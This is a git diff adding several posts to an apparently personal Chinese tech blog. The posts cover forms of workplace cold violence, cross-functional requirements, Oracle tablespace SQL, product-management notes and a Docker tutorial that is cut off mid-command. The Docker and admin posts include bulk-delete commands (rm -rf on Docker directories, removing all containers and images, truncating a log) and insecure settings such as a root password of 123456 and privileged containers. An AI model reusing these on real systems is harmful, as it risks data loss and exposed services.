+职场冷暴力是一种常见的职场问题，以下是一些常见的职场冷暴力形式： + +1. 忽视和冷淡：领导或同事可能会对某些员工漠不关心，对他们的需求和工作缺乏回应和关注。 +2. 无视和贬低：某些员工可能会对其他员工的能力或贡献进行贬低和否定，以降低其地位和影响力。 +3. 孤立和排挤：冷暴力可能导致员工被排除在工作团队之外，无法获得重要的信息和资源。 +4. 威胁和恐吓：领导或同事可能会使用言语或非言语的形式威胁和恐吓员工，使其感到不安和不安全。 +5. 拆台和排挤：某些员工可能会试图削弱其他员工的地位和声誉，以便自己脱颖而出。 +6. 制造麻烦和障碍：领导或同事可能会制造一些麻烦和障碍，使得员工的工作变得更加困难。 +7. 破坏工作和生活：领导或同事可能会对员工的生活和工作进行干扰和破坏，以迫使他们离开工作环境。 +8. 性别歧视和性骚扰：有些员工可能因为性别、性取向或性别身份而受到歧视或骚扰。这种行为不仅违反了职场道德和法律法规，而且对受害者的身心健康和工作表现都会产生负面影响。 +9. 文化冲突和种族歧视：来自不同文化背景或种族背景的员工可能会在职场中受到歧视和排斥。这种行为不仅会导致员工之间的紧张关系，而且会破坏团队的凝聚力和合作精神。 +10. 职场谣言和诽谤：有些员工可能会散布关于其他员工的谣言和诽谤，以削弱他们的地位和声誉。这种行为不仅会对受害者造成伤害，还会破坏团队的信任和团结。 +11. 强迫加班和工作超时：领导可能会强制员工加班或超时工作，以完成工作任务。这种行为不仅会影响员工的身体健康和工作效率，而且会对员工的家庭生活和社交活动产生负面影响。 +12. 不公平待遇和歧视：有些员工可能会受到不公平的待遇或歧视，如工资不平等、晋升机会受限等。这种行为不仅会降低员工的工作积极性和动力，而且会对公司的声誉和形象产生负面影响。 +13. 难以忍受的工作环境：有些员工可能会感到工作环境过于压抑、沉闷或危险，难以忍受。这种行为不仅会影响员工的工作表现和身心健康，而且会对公司的生产效率和声誉产生负面影响。 +14. 推卸责任和揽功：有些同事或领导可能会将责任推卸给其他人，或者抢夺他人的功劳。这会让受害者感到被误解和不被信任。 +15. 无视能力和需求：有些领导可能会忽视员工的能力和需求，安排他们去从事与他们的专业能力不符的工作任务，这可能会让员工感到沮丧和不被重视。 +16. 冷嘲热讽和打击：有些同事或领导可能会用言语或行为对其他员工进行冷嘲热讽或打击，这会让员工感到自卑和无助。 +17. 缺乏支持和指导：有些员工可能会感到缺乏支持和指导，导致他们在工作中无法顺利完成任务或者感到自己无法获得提升。 +18. 强迫工作方式和风格：有些领导可能会强制员工采用特定的工作方式和风格，这可能会让员工感到不自在和受限制。 +19. 缺乏认可和奖励：有些员工可能会发现自己的工作成果没有被充分认可或奖励，这可能会降低他们的工作动力和工作效率。 +20. 办公室政治和派系之争：有些公司可能会有办公室政治和派系之争，这会让员工感到困惑和不安，并可能让他们陷入恶性竞争。 +21. 恶意竞争和排挤：有些同事可能会对其他员工进行恶意的竞争和排挤，试图抢夺他们的资源和机会。 +22. 操纵和欺骗：有些领导或同事可能会使用操纵和欺骗的手段，让员工感到被欺骗和失望。 +23. 制造谣言和诽谤：有些人可能会故意制造谣言和诽谤，以破坏其他员工的声誉和形象。 +24. 偏见和歧视：有些公司或团队可能会存在偏见和歧视现象，如对特定人群的歧视、排斥或边缘化。 +25. 滥用权力和威胁：有些领导可能会滥用权力，对员工进行威胁和恐吓，以达成自己的目的。 +26. 破坏工作环境和设施：有些员工可能会对工作环境和设施进行破坏，以表达不满或制造混乱。 +27. 骚扰和性骚扰：有些同事或领导可能会对其他员工进行骚扰或性骚扰，这种行为不仅违反了职场道德规范，而且可能对受害者的身心健康产生严重的影响。 +28. 破坏工作流程和协调：有些员工可能会故意破坏工作流程和协调，导致团队工作效率下降和项目延误。 + + + +下面是一些详细的归类，供参考： + +1. **情感和心理冷暴力**： + - 精神虐待：通过言辞或行为伤害他人的情感和自尊心，如嘲笑、侮辱或恐吓。 + + - 例子：上司频繁地用贬低性语言批评员工的工作表现，导致员工情感受伤。 + + - 排斥和孤立：有意将某人排除在工作团队或社交活动之外，使其感到孤立和不受欢迎。 + + - 例子：同事组织了一个团队聚会，但故意不邀请一名特定员工，导致他感到排斥。 + +2. **权力和控制冷暴力**： + + - 虚假担忧：制造虚假的问题或担忧，以转移注意力或操纵他人。 + + - 例子：同事虚假宣称项目面临严重问题，以分散注意力并掩盖其自身的错误。 + + - 管理混乱：有意制造混乱或频繁改变工作要求，以使员工感到迷失方向。 + + - 例子：上司频繁更改项目目标，导致员工不知所措。 + +3. **社交冷暴力**： + + - 恶意诽谤：传播虚假信息或不实指控，损害他人的声誉。 + + - 例子：员工散布虚假信息，声称同事在工作中不诚实，以损害其声誉。 + + - 虚伪的友好：表面上展现友好，但实际上是为了达到某种目的，如获取信息或背后损害他人。 + + - 例子：同事假装与一名员工友好相处，但实际上是为了获取其竞争性信息。 + +4. **职业和经济冷暴力**： + + - 任务剥夺：有意剥夺某人的任务或项目，以降低其自尊心和职业满意度。 + + - 例子：上司将关键项目从员工手中撤回，使员工感到失落和不被需要。 + + - 薪酬不平等：不公平地设置薪酬，剥夺某些员工的经济权益。 + + - 例子：员工在相同职位上工作，但男性薪酬明显高于女性。 + +5. **文化和社会冷暴力**： + + - 文化忽视：不尊重或忽视他人的文化、价值观或背景，导致他们感到不被理解或不被接受。 + + - 例子：一名员工可能受到忽视，因为其文化背景与主流文化不同。 + + - 身份侮辱：对某人的性别、性取向、宗教信仰等个人特征进行侮辱性评论或歧视。 + + - 例子：员工受到因其宗教信仰而遭受的嘲笑和侮辱。 + +6. **信息和沟通冷暴力**： + - 信息滥用：故意隐瞒关键信息、不分享重要资源，或者故意误导他人，以削弱他们的工作表现或声誉。 + - 例子：同事故意不分享项目的关键信息，使其他团队成员无法完成任务，然后指责他们未能完成工作。 + - 信息截断：不与员工分享关键决策、计划或变化的信息，以使其感到被排除在决策过程之外。 + - 例子：管理层不向员工通知公司内部变化，导致员工在决策中感到被忽视。 +7. **职权和管理冷暴力**： + - 任务不平等分配：将工作任务分配得不平等，以不公平地对待某些员工。 + - 例子：某位员工被要求完成大部分工作，而其他人则相对轻松。 + - 拒绝支持：有意拒绝提供支持或合作，使他人在团队中无法完成任务。 + - 例子：一名团队成员不愿意协助其他成员，导致项目延误。 +8. **性别和性别身份冷暴力**： + - 性别歧视和性骚扰：对性别的不平等待遇、言论或行为，包括性别歧视和性骚扰。 + - 例子：一名员工受到性别歧视，被拒绝晋升或薪酬待遇不公平，或者遭受不受欢迎的性骚扰。 + - 性别身份排斥：排除或歧视基于性别身份的员工。 + - 例子：一名跨性别员工可能受到排斥和歧视，因为他们的性别身份与传统性别角色不符。 +9. **社交嘲讽和言语冷暴力**： + - 社交嘲讽：使用挖苦、讽刺或羞辱性的言辞来攻击他人的社交技能或行为。 + - 例子：同事在会议上用嘲讽的语气嘲笑另一位同事的提问方式，使其感到难堪。 + - 言语侮辱：使用侮辱性言辞攻击他人，伤害他们的自尊心。 + - 例子：一位同事频繁使用侮辱性词汇来描述另一位员工，使其感到受伤和受辱。 + +10. **工作负载和任务冷暴力**： + - 工作项目排挤：有意排挤某人，使其无法参与关键项目或机会，从而限制其职业发展。 + - 例子：同事将项目信息保密，不让某位同事知情，以排挤他们在项目中的参与。 + - 过度工作和沉默暴力：通过不合理的工作负载或持续的工作压力来伤害员工的健康和幸福感。 + - 例子：管理层不断要求员工加班工作，但不提供适当的资源或支持，导致员工长时间的工作压力。 +11. **职业和职场冷暴力**： + - 职业倒退：有意阻碍他人的职业发展，如拒绝晋升或提供培训机会。 + - 例子：一名上司可能不推荐员工晋升，尽管他们有资格，以保持其在组织内的地位。 + - 管理权力滥用：滥用管理或领导地位，以施加不当的影响力或控制权力。 + - 例子：一名高级主管滥用其职位，迫使员工执行违法或不道德的行为。 +12. **身体健康和安全冷暴力**： + - 工作条件不当：创造不安全或有害的工作环境，威胁员工的身体健康和安全。 + - 例子：公司未提供必要的安全设备或培训，使员工处于危险之中。 + - 暴力和威胁：使用威胁或实际的暴力行为来伤害员工。 + - 例子：一名员工可能遭受来自同事或上司的身体暴力威胁。 + +13. **隐私和信息冷暴力**： + - 隐私侵犯：侵犯他人的个人隐私，如窃取个人信息或私下讨论他人的私人事务。 + - 例子：同事擅自查看他人的工作电子邮件，以获取私人信息。 + - 虚假评估：在绩效评估中有意低估或高估某人的工作表现，以达到某种目的。 + - 例子：上司可能会为了限制员工的薪酬涨幅而故意低估其绩效评估。 +14. **时间和资源冷暴力**： + - 时间不公平分配：分配工作时间不公平，给予某些员工更多的时间，而其他人则很少。 + - 例子：管理层常常让一名员工加班，而其他员工却不需要。 + - 资源不足：有意限制员工的资源，使其难以完成任务或项目。 + - 例子：一位经理不提供必要的工具或技术支持，导致员工无法有效地完成工作。 +15. **冷暴力的文化和组织方面**： + - 文化排斥：公司文化或团队氛围的不包容性，使某些员工感到不受欢迎或难以融入。 + - 例子：某个公司的文化非常竞争，让那些更喜欢合作和团队合作的员工感到排斥。 + - 过度竞争：鼓励或制造不必要的竞争，以削弱团队内的合作精神。 + - 例子：管理层激励员工之间的竞争，以使其相互争斗，而不是合作。 +16. **身份和多元性冷暴力**： + - 微妙的歧视：以微妙、难以察觉的方式对待或歧视某人，基于其种族、性别、年龄、性取向等特征。 + - 例子：某个团队可能不邀请或不给予某位成员关键的信息，因为他们的种族或性别与主流不同。 + - 性别身份歧视：排斥或歧视基于性别身份的员工。 + - 例子：一位跨性别员工可能受到排斥和歧视，因为他们的性别身份不符合传统的二元性别观念。 +17. **责任和绩效冷暴力**： + - 虚假责任：错误地将责任归咎于某人，使其承受不应由其承担的责任。 + - 例子：员工无故被指责导致项目失败，尽管问题出在其他方面。 + - 绩效不公平评估：对员工的工作绩效进行不公平或偏见的评估。 + - 例子：员工的绩效评估明显低于其实际表现，因为他们与管理层发生过争执。 +18. **自尊和情感冷暴力**： + - 羞辱性任务分配：分配屈辱性或低级别的任务，以贬低员工的身份或价值。 + - 例子：将高素质员工分配给处理琐碎任务，以贬低其价值。 + - 虚伪的情感：假装支持或友好，但实际上是为了操纵他人或达到自己的目的。 + - 例子：同事表现出友好，但背后在损害他人的声誉或利益。 +19. **社交和情感冷暴力**： + - 社交排挤：排斥或孤立某人，使其感到社交上的隔离。 + - 例子：一组同事可能会故意排除一名新员工，不让他加入他们的社交活动。 + - 情感操纵：故意操纵他人的情感或关系，以获得特定利益或控制。 + - 例子：同事可能会虚伪地示好，然后利用他人的信任来达到自己的目的。 +20. **变革和不稳定性冷暴力**： + - 职位滥用：滥用权力或地位，以施加不正当的影响力或控制。 + - 例子：一名上司可能滥用其职权，强迫员工执行违法或不道德的行为。 + - 管理错误决策：故意采取决策，导致不稳定性或损害员工的利益。 + - 例子：管理层决定裁员，但选择不透明的方式，使员工感到焦虑和不安。 +21. **信息和声誉冷暴力**： + - 声誉损害：散布虚假信息或谣言，以损害某人的声誉和信誉。 + - 例子：员工恶意传播关于同事不道德行为的虚假信息，以陷害他们。 + - 信息剥夺：故意不分享关键信息、机会或资源，以排斥或削弱他人的能力。 + - 例子：同事不告知其他团队成员一个关键客户的需求，以排挤他们在项目中的参与。 +22. **家庭和职业平衡冷暴力**： + - 迫使加班：不合理地要求员工加班，影响其工作与生活平衡。 + - 例子：上司频繁要求员工加班，导致他们无法兼顾家庭和工作。 + - 不支持弹性工作安排：拒绝提供弹性工作时间或远程工作选项，限制员工的家庭和职业平衡。 + - 例子：公司不允许员工根据家庭需要调整工作时间表。 +23. **知识和技能冷暴力**： + - 故意忽略培训需求：有意忽略员工的培训需求，以剥夺他们获得必要技能的机会。 + - 例子：管理层不提供新技术培训，使员工的技能不再符合工作要求。 + - 贬低他人的专业知识：以轻蔑或贬低的方式对待他人的专业知识或经验。 + - 例子：同事在会议上轻视其他人的建议，尽管其具备相关专业知识。 +24. **纪律和惩罚冷暴力**： + - 不公平的纪律处分：对员工采取不公平或不合理的纪律措施，以施加压力或损害他们的声誉。 + - 例子：员工因小错误而受到严厉的纪律处分，而其他人相同错误未被惩罚。 + - 威胁性的纪律处分：使用威胁或恐吓的方式来惩罚员工。 + - 例子：管理层威胁将员工开除，以制造恐慌和顺从。 +25. **工资和薪酬冷暴力**： + - 薪酬歧视：基于性别、种族、性别身份或其他特征不平等地支付员工薪酬。 + - 例子：公司支付男性员工比女性员工更高的薪酬，尽管他们履行相同的职责。 + - 薪酬剥夺：有意剥夺员工应得的薪酬或福利。 + - 例子：公司不支付员工的奖金或提高薪资，尽管他们已经满足了相关条件。 +26. **身体和健康冷暴力**： + - 健康危害：故意在工作环境中制造有害的健康风险，危害员工的身体健康。 + - 例子：公司不提供必要的安全设备或培训，导致员工面临危险工作条件。 + - 健康信息滥用：滥用员工的健康信息，用于不当目的，如威胁或恐吓。 + - 例子：上司威胁员工泄露其健康问题，以要挟其服从命令。 +27. **职业身份和声誉冷暴力**： + - 声誉损害：通过虚假信息或恶意言论故意损害员工的职业声誉。 + - 例子：同事传播虚假信息，声称一名员工在工作中犯了严重错误，损害其声誉。 + - 职业排挤：排斥或剥夺员工的职业机会，以保持自己的职业地位。 + - 例子：同事不与其他员工分享关键客户信息，以确保自己在公司中的地位。 +28. **沟通和信息冷暴力**： + - 信息混淆：有意混淆或误导他人，使其产生误解或采取不利于自己的行动。 + - 例子：员工提供虚假信息，导致同事在项目中采取错误的行动。 + - 信息攻击：使用侮辱性或恶意的言辞攻击他人，以损害其声誉。 + - 例子：同事故意传播关于一位同事的谣言，声称他们在工作中不诚实或无能。 diff --git a/_posts/2023-11-03-630-cfr.md b/_posts/2023-11-03-630-cfr.md new file mode 100644 index 0000000..6d590c9 --- /dev/null +++ b/_posts/2023-11-03-630-cfr.md @@ -0,0 +1,51 @@ +--- +layout: post +title: 跨功能需求（CFR） +pid: 630 +tags: [产品经理] +--- + +大部分同学很容易忽视业务需求之外的一些需求，我们称之为跨功能需求(Cross-Functional Requirements, CFR)，有时也常被称为非功能需求(Non-Functional Requirements，NFR)。 + + + +| CFR | 描述 | +| -------------------------------------------------------- | ------------------------------------------------------------ | +| 可扩展性 Extensibility | 是否需要组件化？ 是否需要提供一个插件功能，由谁来实施？ | +| 可移植性 Portability | 是否有迁移到另一个数据库产品或操作系统的必要性？ | +| 可安装性和可部署性 Installability & Deployment | 需要提供什么样的基础设施？ 需要什么样的安装便利性？ 需要支持持续交付吗？ 如何回滚或升级版本？ | +| 兼容性 Compatibility | 需要与哪些其他系统集成？ 需要遵循哪些其他行业标准？ 是否需要考虑现有数据格式？ | +| 可集成性和互操作性 Integratability &Interoperability | 是否需要提供API 或库供其他系统使用？版本管理和升级策略是什么？ | +| 可复用性 Leveragability & Reuse | 是否能够复用企业现有组件/ 库，或者当前组件/ 库是否将被重用？ | +| 可伸缩性 Scalability | 如何根据不断变化的用户量来提高吞吐量？ 如何对此进行测试？ | +| 版本化和升级策略 Versioning and upgrades | 版本化策略是什么？ 如何跟踪内部/ 外部的版本？ 有没有向后兼容的限制？ | +| 可访问性Accessibility | 支持有特殊需要的用户（如读屏） | +| 本地化和国际化 Localisation & Internationalisation | 对静态/ 操作数据是否有多语言支持？ 日期/ 时间/ 货币？ 转换和翻译？ | +| 可用性和用户体验 Usability and user experience | 用户体验对这个系统有多重要，在这个过程中会如何运作？ 是否有公司的用户体验准则要遵循？ 我们是否需要考虑不同的设备/ 屏幕尺寸？ | +| 分布性Distributability | 人们是否能够在特定区域使用该系统，而不会因为地点或距离而受到阻碍？ 它能在没有互联网接入的情况下运行吗？ 如何同步信息？ | +| 帮助与支持 Help & Support | 需要什么程度的用户文档？ 是否需要建立一个教程，提供视频或提供一个帮助和支持团队？ 是否需要为培训做计划？ | +| 可配置性 Configurability | 用户或管理员可以配置功能吗？ 如何进行配置管理（如文件、用户界面、API 等）？ | +| 支持性 Supportability | 确定用户/ 操作支持的级别，以及将如何支持它们？ | +| 归档 Archiving | 归档什么信息? 何时归档? 如何归档? 谁/ 如何访问这些归档信息? | +| 可用性 Availability | 是否有可用性目标要求？ 需要什么架构来满足这些要求？ 是否有特定的日子（如黑色星期五）需要这些？ CAP（一致性、可用性、分区容忍度）。 | +| 容量 Capacity | 是否有任何特定的存储要求？ 是否有高峰负荷的考虑？ 需要由系统处理的数据量是多少？ 有多少用户将同时使用该系统？ | +| 连续性 Continuity | 是否考虑灾难恢复计划？ | +| 数据完整性和一致性 Data Integrity and Consistency | 是否需要数据校验、日志追踪或提供数据恢复机制？ | +| 可维护性 Maintainability | 最大的可容忍停机时间（RTO/ 恢复时间目标）是什么？ 是否有预定停机时间的通知要求？ 错误页面如何处理？ | +| 监控 Monitoring | 是否有现有的工具和基础设施？ 应该衡量哪些业务/ 技术指标？ 如何进行监测？ 哪些类型的警报是必要的？ | +| 多环境支持 Multiple Environment Support | 理想情况下需要多少/ 哪些环境？ 如何配置和管理这些环境？ | +| 性能 Performance | 吞吐量/ 响应时间要求是什么？ 需要有计划地进行性能测试吗？ 是否需要考虑异步场景？ | +| 弹性和容错性 Resilience & Fault Tolerance | 如果某些外部依赖失效/ 不可用，系统将如何降级？ | +| 可靠性 Reliability | 不可靠的成本是什么？ 需要多少成本来保证可靠？ | +| 可审计性 Auditability | 哪些操作应该被跟踪？ 必须满足哪些法律或监管要求？ | +| 认证 Authentication | 如何鉴别用户身份？ 应该遵循什么标准或使用哪些现有的认证系统？ | +| 授权 Authorisation | 哪些角色和权限是必要的，他们需要访问哪些功能或数据？ 谁来维护权限，如何维护和应用权限？ | +| 法律合规性 Legal Compliance | 对数据/ 系统或软件交付过程是否有法律限制？ 对发布过程是否有任何限制？ | +| 数据隐私 Data Privacy | 哪些数据应该被加密？ 哪些数据对终端用户和操作人员可见/ 隐藏？ 开发/ 测试过程中能否使用生产数据？或者如何做生产数据脱敏处理？ | +| 安全性 Security | 需要为安全审计或渗透测试制定哪些流程？ 企业的安全准则是什么？ 是否有SSL 或VPN 要求？ | + + + +参考： + +Tech Lead电子书03023-电子书版 diff --git a/_posts/2023-12-15-631-cat.md b/_posts/2023-12-15-631-cat.md new file mode 100644 index 0000000..d082a72 --- /dev/null +++ b/_posts/2023-12-15-631-cat.md @@ -0,0 +1,8 @@ +--- +layout: post +title: cat +pid: 632 +tags: [linux] +--- + +cat /dev/null > /usr/local/nginx/logs/access.log diff --git a/_posts/2023-12-15-632-trippy.md b/_posts/2023-12-15-632-trippy.md new file mode 100644 index 0000000..b36f158 --- /dev/null +++ b/_posts/2023-12-15-632-trippy.md @@ -0,0 +1,11 @@ +--- +layout: post +title: trippy +pid: 632 +tags: [linux] +--- + +trip baidu.com -u + +trip 8.8.8.8 -u + diff --git a/_posts/2023-12-18-633-db.md b/_posts/2023-12-18-633-db.md new file mode 100644 index 0000000..59358e8 --- /dev/null +++ b/_posts/2023-12-18-633-db.md @@ -0,0 +1,34 @@ +--- +layout: post +title: oracle-ORA-01653 +pid: 633 +tags: [db] +--- + + +```sql +SELECT a.tablespace_name "表空间名", +a.bytes / 1024 / 1024 "表空间大小(M)", +(a.bytes - b.bytes) / 1024 / 1024 "已使用空间(M)", +b.bytes / 1024 / 1024 "空闲空间(M)", +round(((a.bytes - b.bytes) / a.bytes) * 100, 2) "使用比" +FROM (SELECT tablespace_name, sum(bytes) bytes +FROM dba_data_files +GROUP BY tablespace_name) a, +(SELECT tablespace_name, sum(bytes) bytes, max(bytes) largest +FROM dba_free_space +GROUP BY tablespace_name) b +WHERE a.tablespace_name = b.tablespace_name +ORDER BY ((a.bytes - b.bytes) / a.bytes) DESC + +alter tablespace SYSAUX add datafile 'SYSAUX02.dbf' size 5G ; +alter tablespace SYSTEM add datafile 'SYSTEM02.dbf' size 10G ; + + +select distinct dfs.tablespace_name, df.name from dba_free_space dfs left join v$datafile df on dfs.file_id = df.FILE# order by dfs.tablespace_name; + +``` + + + +[oracle-ORA-01653: unable to extend table SYS.AUD$ by 8192 in tablespace SYSTEM](https://blog.csdn.net/line_on_database/article/details/120758149) diff --git a/_posts/2024-02-06-634-gdd.md b/_posts/2024-02-06-634-gdd.md new file mode 100644 index 0000000..2bcaac7 --- /dev/null +++ b/_posts/2024-02-06-634-gdd.md @@ -0,0 +1,27 @@ +--- +layout: post +title: 好产品靠设计 +pid: 634 +tags: [产品经理] +--- + +好的产品靠设计 + +我从不认为富有创意的产品来自偶然。成功的产品都遵循一定的规律。以下是我总结的十条规律。 + +1. 产品经理的任务是探索产品的价值、可用性、可行性。 +2. 探索（定义）产品需要产品经理、交互设计师、软件架构师通力合作。 +3. 开发人员不擅长用户体验设计，因为开发人员脑子里想的是实现模型，而用户看重的是产品的概念模型。 +4. 用户体验设计就是交互设计、设觉设计 +5. 功能和用户体验设计密不可分 +6. 产品创意必须尽早地、反复地接受目标用户的试用，以便获取有效的用户体验 +7. 为了验证产品的价值和可用性，必须尽早地、反复地请目标用户测试产品创意 +8. 采用高保证的产品原型是全体团队成员了解用户需求和用户体验最有效的途径 +9. 产品进经理的目标是在最短时间内把握复杂的用户需求，确定产品的基本要求——价值、可用性、可行性 +10. 一旦认定产品符合以上基本要求，它就是一个完整的概念，去掉任何因素，都不可能达到预期的结果。 + +参考： + +《启示录》 + +《Inspired: How to Create Tech Products Customers Love》 diff --git a/_posts/2024-02-06-635-jhpg.md b/_posts/2024-02-06-635-jhpg.md new file mode 100644 index 0000000..482f2f9 --- /dev/null +++ b/_posts/2024-02-06-635-jhpg.md @@ -0,0 +1,25 @@ +--- +layout: post +title: 评估产品机会的十个问题 +pid: 635 +tags: [产品经理] +--- + +产品经理致命十问 + +1. 产品要解决什么问题？（产品价值） +2. 为谁解决这个问题？（目标市场） +3. 成功的机会有多大？（市场规模） +4. 怎样判断产品成功与否？（度量指标或收益指标） +5. 有哪些同类产品？（竞争格局） +6. 为什么我们最合适做这个产品？（竞争优势） +7. 时机合适吗？（市场时机） +8. 如何把产品推向市场？（营销组合策略） +9. 成功的必要条件是什么？（解决方案要满足的条件） +10. 根据以上问题，给出评估结论。（继续或放弃） + +《启示录》 + +《Inspired: How to Create Tech Products Customers Love》 + +https://www.svpg.com/examples/ diff --git a/_posts/2024-02-20-636-jenkins.md b/_posts/2024-02-20-636-jenkins.md new file mode 100644 index 0000000..76c046f --- /dev/null +++ b/_posts/2024-02-20-636-jenkins.md @@ -0,0 +1,12 @@ +--- +layout: post +title: Jenkins Pipeline +pid: 636 +tags: [cicd] +--- + + + +jenkins流水线（jenkinsfile）详解，保姆式教程 + +https://blog.csdn.net/qq_57581439/article/details/126281020 \ No newline at end of file diff --git a/_posts/2024-02-20-637-docker.md b/_posts/2024-02-20-637-docker.md new file mode 100644 index 0000000..e789be1 --- /dev/null +++ b/_posts/2024-02-20-637-docker.md @@ -0,0 +1,817 @@ +--- +layout: post +title: Docker +pid: 637 +tags: [docker] +--- + +# 查看内核版本 + +```shell +[root@localhost ~]# cat /etc/redhat-release +CentOS Linux release 7.9.2009 (Core) +[root@localhost ~]# uname -r +3.10.0-1160.el7.x86_64 +``` + +# Install Docker Engine on CentOS + +```shell +https://docs.docker.com/engine/install/centos/ + + +[root@localhost ~]# yum -y install gc +[root@localhost ~]# yum -y install gcc-c++ +[root@localhost ~]# yum install -y yum-utils +[root@localhost ~]# yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo +[root@localhost ~]# yum makecache fast +[root@localhost ~]# yum -y install docker-ce docker-ce-cli containerd.io +[root@localhost ~]# systemctl start docker +[root@localhost ~]# ps -ef | grep docker +[root@localhost ~]# docker version +[root@localhost ~]# docker run hello-world +``` + +# Uninstall Docker Engine + +```shell +[root@localhost ~]# systemctl stop docker +[root@localhost ~]# yum remove docker-ce docker-ce-cli containerd.io +[root@localhost ~]# rm -rf /var/lib/docker +[root@localhost ~]# rm -rf /var/lib/containerd +``` + +# 镜像加速 + +阿里云 容器镜像服务 镜像加速器 ，按照文档指示执行相关操作 + +[root@localhost ~]# docker run hello-world + +# 帮助启动类命令 + +```shell +[root@localhost ~]# systemctl start docker +[root@localhost ~]# systemctl stop docker +[root@localhost ~]# systemctl restart docker +[root@localhost ~]# systemctl status docker +[root@localhost ~]# systemctl enable docker +[root@localhost ~]# systemctl disable docker +[root@localhost ~]# docker info +[root@localhost ~]# docker --help +[root@localhost ~]# docker 具体命令 --help +``` + +# 镜像命令 + +```shell +[root@localhost ~]# docker images +[root@localhost ~]# docker images -a +[root@localhost ~]# docker images -q + +[root@localhost ~]# docker search --limit 5 hello-world + +[root@localhost ~]# docker pull hello-world +[root@localhost ~]# docker pull redis +[root@localhost ~]# docker pull ubuntu +[root@localhost ~]# docker pull redis:6.0.8 +[root@localhost ~]# docker images -a +[root@localhost ~]# docker system df +[root@localhost ~]# docker rmi -f d2c94e258dcb +[root@localhost ~]# docker rmi -f $(docker images -qa) //慎用，删除所有镜像 +``` + +# 容器命令 + +```shell +[root@localhost ~]# docker run -it ubuntu /bin/bash +[root@localhost ~]# docker ps +[root@localhost ~]# docker run -it --name test ubuntu bash +[root@localhost ~]# docker ps -a +[root@localhost ~]# docker ps -l +[root@localhost ~]# docker ps -n 2 +[root@localhost ~]# docker ps -q + +exit 退出容器，容器停止 +ctrl + p + q 退出容器，容器不停止 + +[root@localhost ~]# docker ps -a //罗列所有的容器 +[root@localhost ~]# docker start 939c38739633 +[root@localhost ~]# docker restart 939c38739633 +[root@localhost ~]# docker kill 939c38739633 +[root@localhost ~]# docker stop 939c38739633 +[root@localhost ~]# docker rm 939c38739633 +[root@localhost ~]# docker rm -f c1d6cbd56aba //强制删除 +[root@localhost ~]# docker rm -f $(docker ps -aq) //删除所有容器 慎用 +[root@localhost ~]# docker ps -a -q | xargs docker rm //删除所有容器 慎用 + +[root@localhost ~]# docker pull redis:6.0.8 +[root@localhost ~]# docker run -it redis:6.0.8 //退出即停止 +[root@localhost ~]# docker run -d redis:6.0.8 //后台运行 +[root@localhost ~]# docker logs e4e30b34eb92 +[root@localhost ~]# docker top e4e30b34eb92 +[root@localhost ~]# docker inspect e4e30b34eb92 + +[root@localhost ~]# docker exec -it e4e30b34eb92 /bin/bash //退出后台运行 +[root@localhost ~]# docker attach 8ba72b3c1377 //退出即停止 +[root@localhost ~]# docker exec -it 76d16921efca redis-cli + +[root@localhost ~]# docker cp 76d16921efca:/data/b.txt /root/bbb.txt +[root@localhost ~]# docker cp /root/a.txt 76d16921efca:/data/aaa.txt + +[root@localhost ~]# docker export 76d16921efca > redis608.tar +[root@localhost ~]# cat redis608.tar | docker import - baoguo/redis:1.2 +[root@localhost ~]# docker images + +[root@localhost ~]# docker commit -m="vim cmd add ok" -a="baoguo" 0458cec3c25a baoguo/myubuntu:1.1 + + +``` + +# Registry + +```shell +# 公网Registry + +可以把镜像上传到阿里云镜像服务器，具体操作，登录阿里云查看。 Docker Registry + +# 私有的Registry + +[root@localhost ~]# docker pull registry +[root@localhost ~]# docker run -d -p 5000:5000 -v /root/myregistry/:/tmp/registry --privileged=true registry + +[root@localhost ~]# docker run -it ubuntu /bin/bash +root@22a1da75fcfa:/# apt-get update +root@22a1da75fcfa:/# apt-get install net-tools + +[root@localhost ~]# docker commit -m="net-tools install" -a="baoguo" 22a1da75fcfa baoguo/myubuntu:2.2 +[root@localhost ~]# docker images +[root@localhost ~]# curl -XGET http://172.16.52.128:5000/v2/_catalog +[root@localhost ~]# docker tag baoguo/myubuntu:2.2 172.16.52.128:5000/myubuntu:2.2 +[root@localhost ~]# cat /etc/docker/daemon.json +{ + "registry-mirrors": ["https://86o6qk1h.mirror.aliyuncs.com"], + "insecure-registries": ["172.16.52.128:5000"] +} +[root@localhost ~]# systemctl restart docker +[root@localhost ~]# systemctl status docker +[root@localhost ~]# docker images +[root@localhost ~]# docker push 172.16.52.128:5000/myubuntu:2.2 +[root@localhost ~]# curl -XGET http://172.16.52.128:5000/v2/_catalog +[root@localhost ~]# docker rmi -f 172.16.52.128:5000/myubuntu:2.2 +[root@localhost ~]# docker pull 172.16.52.128:5000/myubuntu:2.2 +[root@localhost ~]# docker run -d -it 172.16.52.128:5000/myubuntu:2.2 /bin/bash +[root@localhost ~]# docker exec -it cb504591257e /bin/bash +``` + +# 容器数据卷 + +```shell +[root@localhost ~]# docker run -it --privileged=true -v /root:/tmp ubuntu +[root@localhost ~]# docker inspect ee6548a3810c +[root@localhost ~]# docker run -it --privileged=true -v /root:/tmp:rw ubuntu //默认包括rw +[root@localhost ~]# docker run -it --privileged=true -v /root:/tmp:ro ubuntu //read only +[root@localhost ~]# docker run -it --privileged=true -v /root:/tmp --name u1 ubuntu /bin/bash +[root@localhost ~]# docker run -it --privileged=true --volumes-from u1 --name u2 ubuntu /bin/bash + +``` + +# docker 常见软件的安装 + +```shell +搜索镜像 +拉取镜像 +查看镜像 +启动镜像 +停止容器 +移除容器 + +[root@localhost ~]# docker pull tomcat +[root@localhost ~]# docker images tomcat +[root@localhost ~]# docker run -it -p 8080:8080 tomcat + +http://172.16.52.128:8080 + +[root@localhost ~]# docker exec -it 3035ef34ac7b /bin/bash +root@3035ef34ac7b:/usr/local/tomcat# rm -rf webapps +root@3035ef34ac7b:/usr/local/tomcat# mv webapps.dist webapps + +就可以访问页面了！！！ + +或者使用下面的方法 +[root@localhost ~]# docker run -d -p 8080:8080 --name mytomcat8 billygoo/tomcat8-jdk8 + + +[root@localhost ~]# docker pull mysql:5.7 +[root@localhost ~]# docker run -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 -d mysql:5.7 +[root@localhost ~]# docker ps +[root@localhost ~]# docker exec -it 557cf4b7a683 /bin/bash +root@557cf4b7a683:/# mysql -uroot -p +mysql> SHOW VARIABLES LIKE 'character%'; + +[root@localhost ~]# docker run -d -p 3306:3306 --privileged=true -v /root/mysql/log:/var/log/mysql -v /root/mysql/data:/var/lib/mysql -v /root/mysql/conf:/etc/mysql/conf.d -e MYSQL_ROOT_PASSWORD=123456 --name 